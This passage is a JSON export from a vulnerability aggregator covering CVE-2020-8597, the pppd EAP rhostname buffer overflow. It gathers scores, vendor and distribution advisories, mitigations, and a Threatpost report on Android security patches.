buffer overflow vulnerability)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-19T09:05:39", "id": "CPS:SK165875", "href": "https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk165875", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2021-07-20T20:15:33", "description": "eap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow in the eap_request and eap_response functions.\n\n \n**Recent assessments:** \n \n**wvu-r7** at March 10, 2020 6:33pm UTC reported:\n\nAFAIK, it is common to enable full mitigations on the binary, with ASLR enabled on the system. While this doesn\u2019t mean much in and of itself, it could mean the vulnerability is difficult or \u201cimpossible\u201d to exploit, depending on how the software is engineered or configured. A crash has already been proven.\n\n**busterb** at April 10, 2020 7:44pm UTC reported:\n\nAFAIK, it is common to enable full mitigations on the binary, with ASLR enabled on the system. While this doesn\u2019t mean much in and of itself, it could mean the vulnerability is difficult or \u201cimpossible\u201d to exploit, depending on how the software is engineered or configured. A crash has already been proven.\n\nAssessed Attacker Value: 1 \nAssessed Attacker Value: 1Assessed Attacker Value: 3\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-03T00:00:00", "type": "attackerkb", "title": "CVE-2020-8597 rhostname buffer overflow in pppd", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-06-10T00:00:00", "id": "AKB:69B21DDB-9B38-4151-8607-13F22B4D8630", "href": "https://attackerkb.com/topics/4BqTRC221h/cve-2020-8597-rhostname-buffer-overflow-in-pppd", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "veracode": [{"lastseen": "2022-07-26T13:35:07", "description": "ppp is vulnerable to arbitrary code execution. `eap.c` has an `rhostname` buffer overflow in the `eap_request` and `eap_response` functions, allowing an attacker to execute arbitrary code on the host OS via the vulnerability.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-06T21:28:48", "type": "veracode", "title": "Arbitrary Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2022-04-19T18:46:13", "id": "VERACODE:26077", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-26077/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ics": [{"lastseen": "2023-12-06T17:31:40", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 9.8**\n * **ATTENTION:** Exploitable remotely/low skill level to exploit\n * **Vendor:** Siemens\n * **Equipment:** SCALANCE, RUGGEDCOM\n * **Vulnerability:** Classic Buffer Overflow\n\n## 2\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could allow an attacker to gain unauthenticated access to a device and cause a buffer overflow to execute custom code.\n\n## 3\\. TECHNICAL DETAILS\n\n### 3.1 AFFECTED PRODUCTS\n\nThe following Siemens products are affected:\n\n * RUGGEDCOM RM1224: All versions prior to 6.3\n * SCALANCE M-800 / S615: All versions prior to 6.3\n\n### 3.2 VULNERABILITY OVERVIEW\n\n#### 3.2.1 [BUFFER COPY WITHOUT CHECKING SIZE OF INPUT (\u2018CLASSIC BUFFER OVERFLOW\u2019) CWE-120](<https://cwe.mitre.org/data/definitions/120.html>)\n\nThe version of pppd shipped with this product has a vulnerability that may allow an unauthenticated remote attacker to cause a stack buffer overflow, which may allow arbitrary code execution on the target system.\n\n[CVE-2020-8597](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-8597>) has been assigned to this vulnerability. A CVSS v3 base score of 9.8 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H>)).\n\n### 3.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS: **Chemical, Energy, Food and Agriculture, Water and Wastewater Systems\n * **COUNTRIES/AREAS DEPLOYED: **Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Germany\n\n### 3.4 RESEARCHER\n\nSiemens reported this vulnerability to CISA.\n\n## 4\\. MITIGATIONS\n\nSiemens recommends applying the following updates:\n\n * RUGGEDCOM RM1224: Update to [v6.3](<https://support.industry.siemens.com/cs/ww/en/view/109781070>)\n * SCALANCE M-800: Update to [v6.3](<https://support.industry.siemens.com/cs/ww/en/view/109781070>)\n\nSiemens has identified the following specific workaround and mitigations users can apply to reduce the risk:\n\n * Only use the PPP functionality of the affected devices in trusted environments. This functionality is not enabled by default but typically used in internet dial-in or point-to-point connection scenarios. At this point the vulnerability could be exploited by a malicious peer.\n\nAs a general security measure, Siemens strongly recommends protecting network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends configuring the environment according to the [Siemens operational guidelines for Industrial Security](<https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf>) and following the recommendations in the product manuals.\n\nFor additional information, please refer to Siemens Security Advisory [SSA-809841](<https://cert-portal.siemens.com/productcert/pdf/ssa-809841.pdf>)\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for [control systems security recommended practices](<https://www.us-cert.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://www.us-cert.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://www.us-cert.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B>).\n\nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-11T12:00:00", "type": "ics", "title": "Siemens SCALANCE, RUGGEDCOM", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-08-11T12:00:00", "id": "ICSA-20-224-04", "href": "https://www.cisa.gov/news-events/ics-advisories/icsa-20-224-04", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "gentoo": [{"lastseen": "2023-12-06T16:57:29", "description": "### Background\n\nPPP is a Unix implementation of the Point-to-Point Protocol.\n\n### Description\n\nIt was discovered that bounds check in PPP for the rhostname was improperly constructed in the EAP request and response functions. \n\n### Impact\n\nA remote attacker, by sending specially crafted authentication data, could possibly execute arbitrary code with the privileges of the process or cause a Denial of Service condition. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll PPP users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-dialup/ppp-2.4.8\"", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-15T00:00:00", "type": "gentoo", "title": "PPP: Buffer overflow", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-15T00:00:00", "id": "GLSA-202003-19", "href": "https://security.gentoo.org/glsa/202003-19", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rocky": [{"lastseen": "2023-12-06T17:28:58", "description": "An update is available for ppp.\nThis update affects Rocky Linux 8.\nA Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list\nThe ppp packages contain the Point-to-Point Protocol (PPP) daemon and documentation for PPP support. The PPP protocol provides a method for transmitting datagrams over serial point-to-point links. PPP is usually used to dial in to an Internet Service Provider (ISP) or other organization over a modem and phone line.\n\nSecurity Fix(es):\n\n* ppp: Buffer overflow in the eap_request and eap_response functions in eap.c (CVE-2020-8597)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T14:59:09", "type": "rocky", "title": "ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T14:59:09", "id": "RLSA-2020:0633", "href": "https://errata.rockylinux.org/RLSA-2020:0633", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntucve": [{"lastseen": "2023-12-07T14:28:36", "description": "eap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow\nin the eap_request and eap_response functions.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=950618>\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-03T00:00:00", "type": "ubuntucve", "title": "CVE-2020-8597", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-03T00:00:00", "id": "UB:CVE-2020-8597", "href": "https://ubuntu.com/security/CVE-2020-8597", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2020-10-16T22:36:19", "description": "Google has addressed two critical flaws in its latest monthly Android update that enable remote code execution (RCE) on Android mobile devices.\n\nThe critical bugs (CVE-2020-0117 and CVE-2020-8597) exist in the Android System area, and would allow a remote attacker using a specially crafted transmission to execute arbitrary code within the context of a privileged process. They affect Android versions 8 to Android 10.\n\n\u201cSuccessful exploitation of the most severe of these vulnerabilities could allow for remote code execution in the context of a privileged process,\u201d according to a related advisory from the Multi-State Information Sharing and Analysis Center (MS-ISAC), sent via email. \u201cThese vulnerabilities could be exploited through multiple methods such as email, web browsing and MMS when processing media files.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nDepending on the privileges associated with the application, an attacker could then install programs; view, change or delete data; or create new accounts with full user rights.\n\nThe other flaws affecting System are two high-severity information-disclosure issues affecting Android 10 (CVE-2020-0116 and CVE-2020-0119) \u2013 and Google offered no technical details on them.\n\nThe June security updates also address high-severity bugs in other areas, including the Android Framework. These include an elevation-of-privilege (EoP) bug (CVE-2020-0114) in Android 10 that \u201ccould enable a local malicious application to bypass user interaction requirements in order to gain access to additional permissions,\u201d according to the [security bulletin](<https://source.android.com/security/bulletin/2020-06-01>), issued on Monday.\n\nMeanwhile, Google also patched CVE-2020-0115, an EoP bug in Android 8 to Android 10; and CVE-2020-0121, an information-disclosure bug in Android 10.\n\nThere are also two patches for the Android Media Framework, including CVE-2020-0118, which could enable a local malicious application to bypass user interaction requirements in order to gain access to additional permissions; it affects Android 10. The other is an information disclosure bug (CVE-2020-0113) affecting Android 9 and 10.\n\nAnd finally, there are three high-severity security bugs in Android\u2019s kernel components. The most severe of them (CVE-2020-8647) could enable a local attacker using a specially crafted application to execute arbitrary code within the context of a privileged process. The other two (CVE-2020-8648 and CVE-2020-8428) are also listed as high-severity.\n\nGoogle also updated the advisories for two older bugs: CVE-2019-2219, affecting Framework for Android 8 to Android 10, could enable a local malicious application to bypass operating system protections that isolate application data from other applications; and an EoP vulnerability in System (CVE-2019-9460) could enable a remote attacker to bypass user interaction requirements in order to gain access to additional permissions.\n\nIn all, June is a fairly light monthly bulletin; [last month\u2019s Android updates](<https://threatpost.com/google-android-rce-bug-full-device-access/155460/>) addressed 39 vulnerabilities.\n\nThere were also patches issued this week to address multiple vulnerabilities in Qualcomm closed-source and general components used in Android devices.\n\nTwo of the bugs are critical and can be remotely exploited; they both exist in the data-modem area of Qualcomm\u2019s mobile chips.\n\nThe flaw tracked as CVE-2019-14073 arises because the system buffers copy without checking the size of the input in the modem data, according to [Qualcomm\u2019s advisory](<https://www.qualcomm.com/company/product-security/bulletins/june-2020-security-bulletin#_cve-2019-14073>).\n\n\u201cCopying [real-time transport protocol control protocol] RTCP messages into the output buffer without checking the destination buffer size which could lead to a remote stack overflow when processing large data or non-standard feedback messages,\u201d according to the silicon-maker.\n\nAlso, CVE-2019-14080 stems from improper validation of the array index in the modem data, having to do with power transmission in the chipset:\n\n\u201cOut of bound write can happen due to lack of check of array index value while parsing [session description protocol] SDP attribute for [specific absorption rate] SAR,\u201d Qualcomm said.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-06-02T17:10:58", "type": "threatpost", "title": "Two Critical Android Bugs Open Door to RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-14073", "CVE-2019-14080", "CVE-2019-2219", "CVE-2019-9460", "CVE-2020-0113", "CVE-2020-0114", "CVE-2020-0115", "CVE-2020-0116", "CVE-2020-0117", "CVE-2020-0118", "CVE-2020-0119", "CVE-2020-0121", "CVE-2020-8428", "CVE-2020-8597", "CVE-2020-8647", "CVE-2020-8648"], "modified": "2020-06-02T17:10:58", "id": "THREATPOST:3073D5AD7F3554F422710689A9436CAA", "href": "https://threatpost.com/two-critical-android-bugs-rce/156216/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
CVE-2020-8597
